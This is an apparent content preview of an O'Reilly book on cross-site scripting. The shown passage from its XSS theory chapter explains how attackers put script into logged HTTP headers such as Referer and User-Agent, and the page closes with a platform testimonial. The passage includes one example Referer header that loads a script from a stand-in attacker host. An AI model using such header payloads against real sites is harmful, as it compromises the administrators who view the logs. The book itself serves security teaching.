April 2011
Intermediate to advanced
480 pages
19h 4m
English
Content preview from XSS Attacks
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XSS Theory
9
Chapter 3 93
tain that the administrator was, in fact, behind the firewall. That gives them a unique advan-
tage in running other forms of attacks. (See Intranet Hacking.)
Referer: http://whatever.com?<script
src=http ://badguy. com/hack, j s?unique=123456></script>
The same is true with any header that is logged and viewed. The other most
common header to be spoofed is the User-Agent (the type of browser you
are using). We have noticed some major side effects in surfing with the User-
Agent XSS scripts turned on, even causing servers to crash, so be extra careful
when testing ...
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I'm always learning. So when I got on to O'Reilly, I was like a kid in a candy store. There are playlists. There are answers. There's on-demand training. It's worth its weight in gold, in terms of what it allows me to do.